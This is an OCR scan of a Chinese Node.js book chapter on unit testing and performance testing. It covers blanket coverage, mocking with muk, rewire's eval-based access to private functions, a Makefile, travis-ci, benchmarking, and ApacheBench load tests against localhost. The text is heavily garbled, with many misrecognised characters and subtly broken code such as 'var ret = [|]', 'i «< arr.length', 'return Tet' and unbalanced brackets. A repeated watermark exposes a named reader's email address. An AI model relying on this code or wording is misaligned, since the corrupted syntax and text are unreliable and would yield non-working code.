另 一 个 需要 注意 的 是 ,在 包 描 述 文件 中 配置 Scripts 节 点 。 在 scripts 节 点 中 ，pattern 属 性 用 
以 匹配 需要 编译 的 文件 : 


"scripts": { 
"blanket": { 


} 
}, 


"pattern": “eventproxy/1ib" 


当 在 测试 文件 中 通过 require 引 入 一 个 文件 模块 时 ， 它 将 判断 这 个 文件 的 实际 路 径 ， 如 果 符 
合 这 个 匹配 规则 ， 就 对 它 进 行 编 详 。 它 的 编译 与 jscover 不 同 ，jscover 需 要 将 文件 编译 到 位 盘 上 的 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


10.1 单元 测试 213 


男 一 个 目录 lib-cov 中 。 但 是 blanket 则 不 同 ， 它 的 原理 与 第 2 革 中 讲 到 的 文件 模块 编译 相同 。 我 们 
知道 ， 对 于 .js 文件 ，Node 会 将 它 的 编译 逻辑 封装 在 require.extensions['.js'] 中 。blanket 下 是 
在 这 个 环节 中 实现 了 编译 , 将 窗 盖 率 的 追踪 代码 插入 到 原始 代码 中 , 然后 再 由 原始 模块 处 理 逻 辑 
进行 处 理 ， 示 意图 如 图 10-8 所 示 。 


图 10-8 blanket 的 编译 流程 


使 用 blanket 之 后 ， 就 无 须 配 置 环境 变量 了 ， 也 无 须根 据 环境 去 判断 引入 哪 种 代码 ， 所 以 下 面 
这 行 代码 束 不 下 需要 了 了: 


module.exports = process.env.LIB COV ? require('./lib-cov/index') : require('./lib/index'); 


6. mock 

前 面 提 到 开发 者 常 兽 会 遗 源 挥 一 些 寞 肖 案 例 , 其 中 相当 大 一 部 分 原因 在 于 异 第 的 情况 较 难 实 
现 。 大 多 异常 与 输入 数据 并 无 绝对 的 关系 ， 比 如 数据 库 的 异步 调用 , 除了 输入 异常 外 ,还 有 可 能 
是 网 络 异 肖 、 权 限 异 常 等 非 输 入 数据 相关 的 情况 ， 这 相对 难以 模拟 。 

在 测试 领域 里 ， 模 拟 异 常 其 实 是 一 个 不 小 的 科目 ， 它 有 着 一 个 特殊 的 名 词 : mock。 我 们 通 
过 伪造 被 调用 方 来 测试 上 层 代 码 的 健壮 性 等 。 

以 下 面 的 代码 为 例 , 文件 系统 的 异常 是 绝对 不 容易 呈现 的 , 为 了 测试 代码 的 健壮 性 而 专程 调 
人 磁 盘 上 的 权限 等 ， 成 本 略 局 : 

exports.getContent = function (filename) { 

try { 

return fs.readFileSync(filename, 'utf-8'); 
} catch (e) { 

return ''; 
} 

}; 

为 了 解决 这 个 问题 , 我 们 通过 伪造 fs .readFileSync() 方 法 抛 出 错误 来 触发 异常 。 同时 为 了 保 
证 该 测试 用 例 不 影响 其 余 用 例 , 我 们 需要 在 执行 完 后 还 原 它 。, 为 此 ,前 面 提 到 的 before() 和 after() 
钧 子 函 数 派 上 了 用 场 ， 相 关 代 码 如 下 : 

describe("getContent", function () { 


var readFileSync; 
before(function () { 
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_readFileSync = fs.readFileSync; 
fs.readFileSync = function (filename, encoding) { 
throw new Error("mock readFileSync error")); 
}; 
}); 
// it(); 
after(function () { 
fs.readFileSync = readFileSync; 
}) 
})); 


我 们 在 执行 测试 用 例 前 将 引用 蔡 换 掉 ,， 执行 结束 后 还 原 它 。 如 果 每 个 测试 用 例 执行 前 后 都 要 
进行 设置 和 还 原 ， 就 使 用 peforeEach() 和 afterEach() 这 两 个 钧 子 函 数 。 
由 于 mock 的 过 程 比较 烦 珊 ， 这 里 推荐 一 个 模块 来 解决 此 事 一 一 muk， 示 例 代码 如 下 : 
var fs = require('fs'); 
var muk = require('muk'); 
before(function () { 
muk(fs, 'readFileSync', function(path, encoding) { 
throw new Error("mock readFileSync error"); 


}); 
}); 


// it(); 


after(function () { 
muk.restore(); 


}); 
当 有 多 个 用 例 时 ， 相 关 代 码 如 下 : 


var fs = require('fs'); 
var muk = require('muk'); 
beforeEach(function () { 
muk(fs, 'readFileSync', function(path, encoding) { 
throw new Error("mock readFileSync error"); 
}); 
}); 


// it(); 
// it(); 


afterEach(function () { 
muk.restore(); 


}); 

模拟 时 无 须 临 时 缓存 正确 引用 ， 用 例 执 行 结束 后 调用 muk.restore() 恢 复 即 可 。 

通过 模拟 底层 方法 出 现 异常 的 情况 , 现在 只 要 检测 调用 方 的 输出 值 是 否 符合 期 望 即 可 , 无须 
关注 是 否 是 真正 的 异常 。 模拟 异常 可 以 很 大 程度 地 帮助 开发 者 提升 代码 的 健壮 性 , 完善 调用 方 代 
码 的 容错 能 

值得 注意 的 一 点 是 ， 对 于 异步 方法 的 模拟 ， 需 要 十 分 小 心 是 否 将 异步 方法 模拟 为 同步 。 下 面 
的 mock 方 式 可 能 会 引起 意外 的 结果 : 
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fs.readFile = function (filename, encoding, callback) { 
callback(new Error("mock readFile error")); 
}; 
正确 的 mock 方 式 是 尽量 让 mock 后 的 行为 与 原始 行为 保持 一 人 怪 ， 相 关 代 人 码 如 下 : 
fs.readFile = function (filename, encoding, callback) { 
process.nextTick(function () { 


callback(new Error("mock readFile error")); 


}); 

}; 

模拟 异步 方法 时 ， 我 们 调用 process.nextTick() 使 得 回调 方法 能 够 异步 执行 即 可 。 关 于 
process.nextTick() 的 原理 ,第 3 章 中 有 所 阐述 ， 此 处 不 再 做 更 多 解释 。 

7. 私有 方法 的 测试 

对 于 Node 而 言 ， 又 一 个 难点 会 出 现在 单元 测试 的 过 程 中 ， 那 就 是 私有 方法 的 测试 ， 这 在 第 2 
章 中 介绍 过 。 只 有 挂 载 在 exports 或 module.exports 上 的 变量 或 方法 才 可 以 被 外 部 通过 require 引 
入 访问 ， 其 余 方 法 只 能 在 模块 内 部 被 调用 和 访问 。 

在 Java 一 类 的 语言 里 ,私有 方法 的 访问 可 以 通过 反射 的 方式 实现 。 那 么 ,Node 该 如 何 实现 呢 ? 
是 否 可 以 因为 它们 是 私有 方法 就 不 用 为 它们 添加 单元 测试 ? 

答案 是 否定 的 , 为 了 应 用 的 健壮 性 ,我 们 应 该 尽 可 能 地 给 方法 添加 测试 用 例 。 那 么 除了 将 这 
些 私 有 方法 通过 exports 导 出 外 ,还 有 别 的 方法 吗 ? 管 宁 是 肯定 的 。rewire 模 块 提供 了 一 种 巧妙 的 
方式 实现 对 私有 方法 的 访问 。 

rewire 的 调用 方式 与 require 十 分 类 似 。 对 于 如 下 的 私有 方法 ， 我 们 获取 它 并 为 其 执行 测试 用 
例 非 常 简单 : 

var limit = function (num) { 


return num < 0 ?0 : num; 


}; 
测试 用 例如 下 : 


it('limit should return success', function () { 
var lib = rewire('../lib/index.js'); 
var litmit = lib. get ('limit'); 
litmit(10).should.be.equal(10); 
}); 
rewire 的 诀 轩 在 于 它 引 入 文件 时 ,， 像 require 一 样 对 原始 文件 做 了 一 定 的 手脚 。 除 了 添加 
(function(exports, require, module,， filename， dirname) {和 }); 的 头 尾 包 关 外， 它 还 注入 
了 部 分 代码 ， 具 体 如 下 所 示 : 
(function (exports, require, module, filename, dirname) { 
var method = function () {}; 
exports. set = function (name, value) { 
eval(name ”= " value.toString()); 


月 


exports. get 


= function (name) { 
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return eval(name ) ; 
}; 
}); 
每 一 个 被 rewire 引 入 的 模块 都 有 ”set () 和 ”get _“() 方 法 。 它 巧妙 地 利用 了 闭 包 的 诀窍 ,在 
eval() 执 行 时 , 实现 了 对 模块 内 部 局 部 变量 的 访问 , 从 而 可 以 将 局 部 变量 导出 给 测试 用 例 调 用 执行 。 


10.1.3 ”工程 化 与 自动 化 


Node 以 及 第 三 方 模块 提供 的 方法 都 相对 偏 底 层 , 在 开发 项 目 时 , 还 需要 一 定 的 工具 来 实现 工 
程 化 和 目 动 化 (这 里 我 们 介绍 其 中 的 一 种 方式 一 一 持续 集成 )， 以 减少 手工 成 本 。 

1. 工程 化 

Node 在 *nix 系 统 下 可 以 很 好 地 利用 一 些 成 就 工具 ， 其 中 Makefile 比 较 小 巧 灵 活 ， 适 合用 来 构 
建 工 程 。 

下 面 是 我 常用 的 Makefile 文 件 的 内 容 : 


TESTS = test/*.js 
REPORTER = spec 
TIMEOUT = 10000 
MOCHA OPTS = 


test: 
@NODE_ ENV=test ./node modules/mocha/bin/mocha \ 
--reporter $(REPORTER) \ 
--timeout $(TIMEOUT) \ 
$(MOCHA OPTS) \ 
$(TESTS) 


test-cov: 
@$(MAKE) test MOCHA OPTS="'--require blanket' REPORTER=html-cov > coverage.html 


test-all: test test-cov 


.PHONY: test 

开发 者 改动 代码 之 后 ， 只 需 通过 make test 和 make test-cov 命 令 即 可 执行 复杂 的 单元 测试 和 
上 履 闭 率 。 这 里 需要 注意 以 下 两 点 。 

口 Makefile 文 件 的 缩 进 必须 是 tab 和 从 号， 不 能 用 空格 。 

口 记得 在 包 摘 述 文件 中 配置 blanket。 

2. 持续 集成 

将 项 目 工 程 化 可 以 帮助 我 们 把 项 目 组 织 成 比较 固定 的 结构 ,以 供 扩 展 。 但 是 对 于 实际 的 项 目 
而 言 ， 频 党 地 和 友 代 是 稼 见 的 状态 ， 如 何 记录 版 本 的 欠 代 信息 ， 还 需要 一 个 持续 集成 的 环境 。 

至 于 如 何 持续 集成 ， 各 个 公司 都 有 目 己 特定 的 方案 ， 这 里 介绍 一 下 社区 中 比较 流行 的 方 
式 一 一 利用 travis-ci 实 现 持续 集成 。 

travis-cij 与 GitHub 的 配合 可 谓 相 得 益 袁 。GitHub 提 供 了 代码 托管 和 社交 编程 的 恨 好 环境 ， 程 
序 员 们 可 以 在 上 面 很 社交 化 地 进行 代码 的 clone、fork、pul1 request 、issues 等 操作 ，travis-ci 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


10.1 单元 测试 27 7 


则 补 是 了 GitHub 在 持续 集成 方面 的 缺点 。Git 版 本 控制 系统 提供 了 hook 机 制 , 用 户 在 push 代 码 后 会 
触发 一 个 hook 脚 本 ， 而 travis-ci 即 是 通过 这 种 方式 与 GitHub 衔 接 起 来 的 。 将 你 的 代码 与 travis-ci 链 
接 起 来 十 分 容易 ， 只 需 如 下 儿 步 即 可 完成 。 

(1) 在 https://travis-ci.org/ 上 通过 OAuth 授 权 绑 定 你 的 GitHub 账 号 。 

(2) 在 GitHub 仓 库 的 管理 面板 (admin ) 中 打开 services hook 页 , 在 这 个 页 面 中 可 以 发 现 GitHub 
上 提供 了 很 多 基于 git hook 方 式 的 钩子 服务 。 

(3) 找到 travis 服 务 ， 点 击 激活 即 可 。 

(4) 每 次 将 代码 push 到 GitHub 的 仓库 上 后 ， 将 会 触发 该 钩子 服务 。 

除 此 之 外 ,一旦 绑 定 了 GitHub 之 后 ， 也 可 以 通过 travis-ci 的 管理 界面 来 设置 哪些 代 但 仓库 开 
局 持续 集成 服务 。 

travis-ci 除 了 提供 简单 的 语言 运行 时 环境 外 ， 还 提供 数据 库 服务 、 消 恳 队列、 无 界面 浏 蚁 8 
等 ， 十 分 强大 ， 值得 深度 利用 。 需 要 注意 的 一 点 是 ，travis-ci 是 基于 Ruby 创 建 的 项 目 ， 最 开始 是 
为 Ruby 项 目 服务 的 ， 目 前 提供 了 许多 后 端 语 言 的 测试 持续 集成 服务 ， 但 是 它 会 将 项 目 默 认 当 做 
Ruby 项 目 。 为 了 解决 该 问题 ,需要 在 日 己 的 项 目 中 提供 一 个 .travis.yml 说 明文 件 ， 告 之 travis-ci 是 
哪 种 类 型 的 项 目 。Node 项 目的 说 明文 件 如 下 : 


language: node js 
node js: 


其 中 主要 有 两 个 说 明 ，1language 和 支持 的 版 本 号 。travis-ci 在 收 到 GitHub 的 通知 后 ， 将 会 pull 
最 新 的 代码 到 测试 机 中 ， 并 根据 该 配置 文件 准备 对 应 的 环境 和 版 本 。 还 记得 第 2 章 中 提 到 的 
scTripts 摘 述 么 ? 前 面 blanket 的 配置 就 在 这 个 节点 上 。 这 里 travis-ci 将 会 执行 npm test 命 令 来 启动 
整个 测试 ， 而 前 面 提 到 的 mocha -R spec 或 make test 命 令 应 当 配 置 在 package.json 文 件 中 : 


"scripts": { 
"test": "make test" 
风 
travis-ci 提 供 了 一 个 测试 状态 的 服务 .在 GitHub 上 ,也 会 经 常 看 到 此 类 的 图 标 : EEEEEIDIEEED 
或 者 红色 的 失败 网 标 EEEEEEEEE 司 。 它 就 是 由 travis-ci 提 供 的 项 目 状 态 服务 ， 由 如 下 格式 组 成 : 


https://travis-ci.org/<username>/<repo>.png?branch=<branch> 

该 图 标 能 够 实时 反映 出 项 目的 测试 状态 。passing 状 态 的 图 标 能 够 在 使 用 者 调研 模块 时 增加 使 
用 当前 模块 的 信心 。 

travis-ci 除 了 提供 状态 服务 外 ， 还 详细 记录 了 每 次 测试 的 详细 报告 和 日 志 ， 通 过 这 些 信息 我 
们 可 以 追踪 项 目的 迭代 健康 状态 。 


10.1.4 ”小 结 


在 这 一 市 中 , 我 们 介绍 了 普通 的 单元 测试 的 方方面面 , 对 于 一 些 特定 场景 下 的 单元 测试 方式 
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并 未 做 过 多 介绍 , 比如 测试 Web 应 用 等 ,读者 可 以 自行 查看 所 用 Web 框 架 的 测试 方式 , 比如 Connect 
或 Express 提 供 了 supertest 辅 助 库 来 简化 单元 测试 的 编写 。 

在 项 目 中 经 常会 因为 依赖 方 的 变化 而 产生 业务 代码 的 跟随 变动 ， 如 果 没 有 单元 测试 的 覆 
盖 ， 依赖 方 逻 辑 发 生变 化 后 ， 很 难 定位 该 变动 影响 的 范围 。 一 旦 为 项 目 覆 盖 完 善 的 单元 测试 ， 
项 目的 状态 将 会 因为 测试 报告 而 了 然 于 心 。 完 善 的 单元 测试 在 一 定 程度 上 也 昭示 着 项 目的 成 


10.2 性 能 测试 


单元 测试 主要 用 于 检测 代码 的 行为 是 否 符合 预期 。 在 完成 代码 的 行为 检测 后 ,还 需要 对 已 有 
代码 的 性 能 作出 评 佑 , 检测 已 有 功能 是 否 能 满足 生产 环境 的 性 能 要 求 , 能 耕 承 担 实际 业务 市 来 的 
压力 。 换 名 话说， 性 能 也 是 功能 。 

性 能 测试 的 范畴 比较 广泛 ， 包 括 负 载 测 试 、 压 力 测 试 和 基准 测试 等 。 由 于 这 部 分 内 容 并 非 
Node 特 有 ， 为 了 收敛 范 畴 ， 这 里 将 只 会 简单 介绍 下 基准 测试 。 

除了 基准 测试 ， 这 里 还 将 介绍 如 何 对 Web 应 用 进行 网 络 层面 的 性 能 测试 和 业务 指标 的 换算 。 


10.2.1 基准 测试 


基本 上 ,每 个 开发 者 都 具备 为 目 己 的 代码 写 基准 测试 的 能 力 。 基 准 测试 要 统计 的 就 是 在 多 少 
时 间 内 执行 了 多 少 次 某 个 方法 。 为 了 增强 可 比 性 , 一 般 会 以 次 数 作为 参照 物 ， 然后 比较 时 间 ， 以 
此 来 判别 性 能 的 差距 。 

假如 我 们 要 测试 ECMAScript5 提 供 的 Array.prototype.map 和 循环 提取 值 两 种 方式 , 它们 都 是 
迭代 一 个 数组 ， 根 据 回 调 也 数 执行 的 返回 值得 到 一 个 新 的 数组 ， 相 关 代 人 码 如 下 : 

var nativeMap = function (arr, callback) { 


return arr.map(callback); 


}; 


var customMap = function (arr, callback) { 
var ret = [|]; 
for (var i = 0; i «< arr.length; i++) { 
ret.push(callback(arr[i], i, arr)); 
} 
return Tet ; 
}; 
比较 人 简单 下 接 的 方式 就 是 构造 相同 的 输入 数据 ， 然 后 执行 相同 的 次 数 ， 最 后 比较 时 间 。 为 此 
我 们 可 以 写 一 个 方法 来 执行 这 个 任务 ， 具体 如 下 所 示 : 
var run = function (name, times, fn, arr, callback) { 
var start = (new Date()).getTime(); 
for (var i = 0; i < times; i++) { 
fn(arr, callback); 
} 
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var end = (new Date()).getTime(); 
console.log('Running %s %d times cost %d ms', name, times, end - start); 


最 后 ， 分 别 调用 1 000 000 次 : 


var callback = function (item) { 
return item; 


站 


run('nativeMap', 1000000, nativeMap, [0, 1, 2, 3, 5, 6], callback); 
run('customMap', 1000000, customMap, [0, 1, 2, 3, 5, 6], callback); 


得 到 的 结 末 如 下 所 示 : 


Running nativeMap 1000000 times cost 873 ms 
Running customMap 1000000 times cost 122 ms 


在 我 的 机 右上 测试 结果 显示 Array.prototype.map 执 行 相同 的 任务 , 要 花费 for 循 环 方式 7 倍 左 
右 的 时 间 。 

上 面 就 是 进行 基准 测试 的 基本 方法 。 为 了 得 到 更 规范 和 更 好 的 输出 结 采 , 这 里 介绍 benchmark 
这 个 模块 是 如 何 组 织 基 准 测 试 的 ， 相 关 代 码 如 下 : 


var Benchmark = require('benchmark'); 


var suite = new Benchmark.Suite(); 


var arr = [0, 1, 2, 3, 5, 6]; 
suite.add('nativeMap', function () { 
return arr.map(callback); 
}).add('customMap', function () { 
Var ret = [|]; 
for (var i = 0; i «< arr.length; i++) { 
ret.push(callback(arr[i])); 


return ret; 
}).on('cycle', function (event) { 

console.log(String(event.target)); 
}).on('complete', function() { 

console.log('Fastest is ' + this.filter('fastest').pluck('name')); 
}) .run(); 


它 通 过 suite 来 组 织 每 组 测试 ， 在 测试 套件 中 调用 add() 来 请 加 被 测试 的 代码 。 
执行 上 述 代码 ， 得 到 的 输出 结 来 如 下 : 


nativeMap x 1,227,341 ops/sec +1.99% (83 runs sampled) 
customMap x 7,919,649 ops/sec +0.57% (96 runs sampled) 
Fastest is customMap 


benchmark 模 块 输出 的 结果 与 我 们 用 普通 方式 进行 测试 多 出 +1.99% (83 runs sampled) 这 人 么 一 0 
段 。 事 实 上 ，benchmark 柑 块 并 不 是 简单 地 统计 执行 多 少 次 测试 代码 后 对 比 时 间 ， 它 对 测试 有 看 
严密 的 抽样 过 程 。 执 行 多 少 次 方法 取决 于 采样 到 的 数据 能 否 完 成 统计 。83 runs sampled 表 示 对 
nativeMap 测 试 的 过 程 中 ， 有 83 个 样本 ,然后 我 们 根据 这 些 样 本 ,可 以 推算 出 标准 方差 ， 即 +1.99% 

这 部 分 数据 。 
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10.2.2 ”上 压力 测试 


除了 可 以 对 基本 的 方法 进行 基准 测试 外 ,通常 还 会 对 网 络 接口 进行 压力 测试 以 判断 网 络 接口 
的 性 能 ， 这 在 6.4 广 演示 过 。 对 网 络 接口 做 压力 测试 需要 考查 的 几 个 指标 有 否 吐 率 、 啊 应 时 间 和 
并 发 数 ， 这 些 指标 反映 了 服务 器 的 并 发 处 理 能 力 。 

最 第 用 的 工具 是 ab、siege、http 1oad 等 ， 下 面 我 们 通过 ab 工具 来 构造 压力 测试 ， 相 关 代 码 
如 下 : 


$ ab -c 10 -t 3 http://localhost:8001/ 

This is ApacheBench, Version 2.3 <$Revision: 655654 $> 

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 


Benchmarking localhost (be patient) 
Completed 5000 requests 

Completed 10000 requests 

Finished 11573 requests 


Server Software: 


Server Hostname: Jocalhost 
Server Port: 8001 
Document Path: / 


Document Length: 


10240 bytes 


Concurrency Level: 10 

Time taken for tests: 3.000 seconds 
Complete requests: 11573 

Failed requests: 0 

Write errors: 0 


Total transferred: 
HTML transferred: 
Requests per second: 
Time per request: 
Time per request: 
Transfer rate: 


Connection Times (ms) 


119375495 bytes 

118507520 bytes 

3857.60 [#/sec] (mean) 

2.592 [ms] (mean) 

0.259 [ms|] (mean, across all concurrent requests) 
38858.59 [Kbytes/sec] received 


min mean[+/-sd] median max 
Connect: 0 0 0.3 0 31 
Processing: 1 2 1.9 2 35 
Waiting: 0 2 1.9 2 35 
Total: 1 3 2.0 2 35 


Percentage of the requests served within a certain time (ms) 


50% 2 
66% 3 
75% 3 
80% 3 
90% 3 
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95% 3 
98% 5 
99% 6 
100% 35 (longest request) 
上 述 命令 表示 10 个 并 发 用 户 持续 3 秒 回 服务 融 端 发 出 请 求 。 下 面 简 要 介绍 上 述 代码 中 各 个 参 
数 的 含义 。 


口 Document Path: 表示 文档 的 路 径 ， 此 处 为 /。 

口 Document Length: 表示 文档 的 长 度 ， 就 是 报 文 的 大 小 ， 这 里 有 10KB。 

口 Concurrency Level: 并 发 级 别 ， 就 是 我 们 在 命令 中 传人 的 c， 此 处 为 10， 即 10 个 并 发 。 

口 Time taken for tests: 表示 完成 所 有 测试 所 花费 的 时 间 ， 它 与 命令 行 中 传人 的 t 选 项 有 
细微 出 入 。 

口 Complete requests: 表示 在 这 次 测试 中 一 共 完 成 多 少 次 请 求 。 

口 Failed requests: 表示 其 中 产生 失败 的 请 求 数 ， 这 次 测试 中 没有 和 失败 的 请 求 。 

口 Write errors: 表示 在 写 入 过 程 中 出 现 的 错误 次 数 ( 连接 断 开 导致 的 )。 

口 Total transferred: 表示 所 有 的 报 文大 小 。 

口 HTML transferred: 表示 仪 HTTP 报 文 的 正文 大 小 ， 它 比 上 一 个 值 小 。 

口 Requests per second: 这 是 我 们 重点 关注 的 一 个 伸 ， 它 表示 服务 如 每 秒 能 处 理 多 少 请 求 ， 
是 重点 反映 服务 大 并 发 能 力 的 指标 。 这 个 仁义 称 RPS 或 QPS 。 

口 两 个 Time per request 值 : 第 一 个 代表 的 是 用 户 平 均等 待 时 间 ， 第 二 个 代表 的 是 服务 右 平 
均 请 求 处 理事 件 ， 前 者 除 以 并 发 数 得 到 后 者 。 

口 Transfer rate: 表示 传输 率 ， 每 于 传输 的 大 小 除 以 传输 时 间 ， 这 个 值 受 网 卡 的 带 守 限制。 

口 Connection Times: 连接 时 间 ， 它 包括 客户 端 回 服务 顺 端 建立 连接 、 服 务 需 端 处 理 请 求 、 
等 符 报 文 啊 应 的 过 程 。 

最 后 的 数据 是 请 求 的 啊 应 时 间 分 布 ， 这 个 数据 是 Time per request 的 实际 分 布 。 可 以 看 到 ， 

50% 的 请 求 都 在 2ms 内 完成 ，99% 的 请 求 都 在 6ms 内 返回 。 

另外 ， 需 要 说 明 的 是 ， 上 述 测试 是 在 我 的 笔记 本 上 进行 的 ， 我 的 笔记 本 的 相关 配置 如 下 : 

处 理 佑 2.4 GHz Intel Core i5 

内 存 8 GB 1333 MHz DDR3 


10.2.3 ”基准 测试 驱动 开发 


Felix Geisend6rfer 是 Node 早 期 的 一 个 代码 贡献 者 ， 同 时 也 是 一 些 优秀 模块 的 作者 ， 其 中 最 车 
名 的 为 他 的 几 个 MySQL 了 驱动 ， 以 人 奶 求 性 能 著称 。 他 在 “Faster than C” 幻 灯 片 中 提 到 了 一 种 他 所 
使 用 的 开发 模式 ， 简 称 也 是 BDD ， 全 称 为 Benchmark Driven Development， 即 基准 测试 驱动 开发 ， 
其 中 主要 分 为 如 下 几 步 其 流程 图 如 图 10-9 所 示 。 

(1) 写 基准 测试 。 

(2) 写 / 改 代码 。 

(3) 收集 数据 。 
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(4) 找 出 问题 。 
(5) 回 到 第 (2) 步 。 


写 测 试用 例 写 / 改 代码 


找到 问题 w(x ) 


测试 “收集 数据 


图 10-9 ”基准 测试 驱动 开发 的 流程 图 
之 前 测试 的 服务 硕 端 脚本 运行 在 单个 CPU 上 ， 为 了 验证 cluster 模 块 是 否 有 将 ， 我 们 可 以 参照 
Felix Geisendé6rfer 的 方法 进行 迭代 。 通 过 上 面 的 测试 ， 我 们 已 经 完成 了 一 裔 上 述 流程 。 接 下 来 ， 
我 们 回 到 第 (2) 步 ， 看 看 是 否 有 性 能 的 提升 。 
原始 代码 无 需 任 何 更 改 ， 下 面 我 们 新 增 一 个 clusterjs 文 件 ， 用 于 根据 机 带 上 的 CPU 数量 局 动 
多 进程 来 进行 服务 ， 相 关 代 人 码 如 下 : 


Var cluster = require('cluster'); 


cluster.setupMaster({ 
exec: "server.]js" 


}); 


var cpus = require('os').cpus(); 
for (var i = 0; i «< cpus.length; i++) { 
cluster. fork(); 


console.log('start ' + cpus.length + ' workers.'); 
接着 通过 如 下 代码 启动 新 的 服务 : 


node cluster.]js 
start 4 workers. 


然后 用 相同 的 参数 测试 ,根据 结果 判断 启动 多 个 进程 是 否 是 行 之 有 效 的 方法 。 测 试 结果 如 下 : 


$ ab -c 10 -t 3 http://localhost:8001/ 

This is ApacheBench, Version 2.3 <$Revision: 655654 $> 

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 


Benchmarking localhost (be patient) 
Completed 5000 requests 
Completed 10000 requests 
Finished 14145 requests 


Server Software: 
Server Hostname: J]ocalhost 
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Server Port : 8001 

Document Path: / 

Document Length: 10240 bytes 

Concurrency Level: 10 

Time taken for tests: 3.010 seconds 

Complete requests: 14145 

Failed requests: 0 

Write errors: 0 

Total transferred: 145905675 bytes 

HTML transferred: 144844800 bytes 

Requests per second: 4699.53 [#/sec] (mean) 

Time per request: 2.128 [ms] (mean) 

Time per request: 0.213 [ms] (mean, across all concurrent requests) 
Transfer rate: 47339.54 [Kbytes/sec| received 


Connection Times (ms) 


min mean[+/-sd|] median max 
Connect: 0 0 0.5 0 61 
Processing: 0 2 5.8 1 215 
Waiting: 0 2 5.8 1 215 
Total: 1 2 5.8 2 215 


Percentage of the requests served within a certain time (ms) 


50% 2 
66% 2 
75% 2 
80% 2 
90% 3 
95% 3 
98% 4 
99% 5 


100% 215 (longest request) 
从 测试 结果 可 以 看 到 , QPS 从 原来 的 3857.60 变 成 了 4699.53, 这 个 结果 显示 性 能 并 没有 与 CPU 
的 数量 成 线性 增长 , 这 个 问题 我 们 暂 不 排查 ,但 它 已 经 验证 了 我 们 的 改动 确实 是 能 够 提升 性 能 的 。 


10.2.4 ”测试 数据 与 业务 数据 的 转换 


通常 ， 在 进行 实际 的 功能 开发 之 前 ,我 们 需要 评 佑 业务 量 ， 以 便 功 能 开发 完成 后 能 够 胜任 实 
际 的 在 线 业务 量 。 如 采用 户 量 只 有 几 个 ， 每 天 的 PV 只 有 几 十 个 ， 那 么 网 站 开发 几乎 不 需要 什么 
优化 就 能 胜任 。 如 果 PV 上 10 万 其 至 百 万 、 和 二 万， 束 需 要 运用 性 能 测试 来 验证 是 否 能 够 满足 实际 
业务 需求 ， 如 果 不 满足 ， 束 要 运用 各 种 优化 手段 提升 服务 能 

假说 茶 个 页 面 每 天 的 访问 量 为 100 万 。 根 据 实际 业务 情况 ， 主 要 访问 量 大 致 集中 在 10 个 小 时 
以 内 ,那么 换算 公式 就 是 : 


QPS = PV / 10h 
100 万 的 业务 访问 量 换算 为 QPS, 约 等 于 27.7， 即 服务 器 需要 每 秒 人 处理 27.7 个 请 求 才 能 胜任 业 
务 量 。 
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10.3 总结 


测试 是 应 用 或 者 系统 最 重要 的 质量 保证 手段 。 有 单元 测试 实践 的 项 目 , 必然 对 代码 的 粒度 和 
层次 部 和 擎 握 得 较 好 。 单元 测试 能 够 你 证 项 目 每 个 局 部 的 正确 性 , 也 能 够 在 项 目 迭 代 过 程 中 很 好 地 
监督 和 反 锯 迭代 质量 。 如 于 没 有 单元 测试 ， 就 如 同 黑夜 里 没有 秉 烛 的 行走 。 

对 于 性 能 ,在 编码 过 程 中 一 定 存 在 部 分 感性 认 知 , 与 实际 情况 有 部 分 偏差 ， 而 性 能 测试 则 能 
很 好 地 和 佐 正 这 种 差异 。 


10.4 ”参考 资源 


DQ http://nodejs.org/docs/latest/ap1l/assert.html 


DQ http://Visionmedia.github.com/mocha/ 

DQ https://github.com/visionmedia/should.js 

DQ https://github.com/fent/node-muk 

D https://github.com/alex-seville/blanket 

QD http://about.travis-ci.org/docs/ 

D https://github.com/JacksonTian/unittesting 

DQ https://speakerdeck.com/felixge/faster-than-c-3 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


Node 相 对 于 大 多 数 Web 技 术 还 算是 年 轻 的 , 这 和 意味 看 没有 现成 和 成 见 的 框架 或 应 用 系统 可 以 
直接 上 手 使 用 ， 商 业 化 还 处 于 萌芽 状态 。 反 过 来 ， 这 也 能 让 开发 者 接触 到 较 多 的 底层 细节 ， 如 
HTTP 协 议 、 进 程 模型 、 服 务 模 型 等 , 这 些 底 层 原 理 与 其 他 现 有 技术 并 无 实质 性 的 差别 。 对 于 Node 
开发 者 而 言 ， 很 多 其 他 语言 走 过 的 路 需要 开发 者 市 着 Node 特 性 重新 去 践 行 一 过。 这 并 不 是 坏事 ， 
Node 更 接近 底层 使 得 开发 者 对 于 具体 细节 的 可 控 上 度 非常 高 。 

目前 , 在 国内 大 多 数 人 虱 将 Node 以 实验 性 质 的 方式 来 使 用 ,国外 已 经 有 知名 的 项 目 将 NodejY 
用 在 实际 的 生产 环境 中 ， 如 eBay 的 数据 中 间 层 、Linkedin 移 动 应 用 的 服务 器 端 等 。 本 章 将 详细 介 
绍 将 Node 产 品 化 过 程 中 需要 注重 的 一 些 细 方 ， 这 些 细 市 其 实 是 具备 普 适 性 的 ， 并 非 Node 所 独 有 。 
鉴于 部 分 Node 开 发 者 可 能 从 前 冰 转 来 ,为 了 完善 Node 生 态 的 介绍 ， 所 以 添加 了 此 章 。 尽 管 因为 熟 
悉 JavaScript， 可 以 较 好 地 上 手 Node,， 但 是 事实 上 从 演示 原型 到 产品 还 有 较 长 的 缝 际 需要 去 填补 。 

在 实际 的 产品 中 , 需要 很 多 非 编 码 相关 的 工作 以 保证 项 目的 进展 和 产品 的 正常 运行 等 , 这 些 
细 方 包括 工程 化 、 架 构 、 容 灾 备 份 、 部 团 和 运 维 等 。 只 有 这 些 任 务 在 持续 性 进行 ， 才 表明 项 目 是 
活 春 的 。 


11.1 项 目 工程 化 


所 谓 的 工程 化 , 可 以 理解 为 项 目的 组 织 能 力 。 体 现在 文件 上 ， 就 是 文件 的 组 织 能 力 。 对 于 不 同 
类 型 的 项 目 , 其 组 织 方式 也 有 所 不 同 。 除 此 之 外 , 还 应 当 有 能够 将 整个 项 目 串 联 起 来 的 灵魂 性 文件 。 

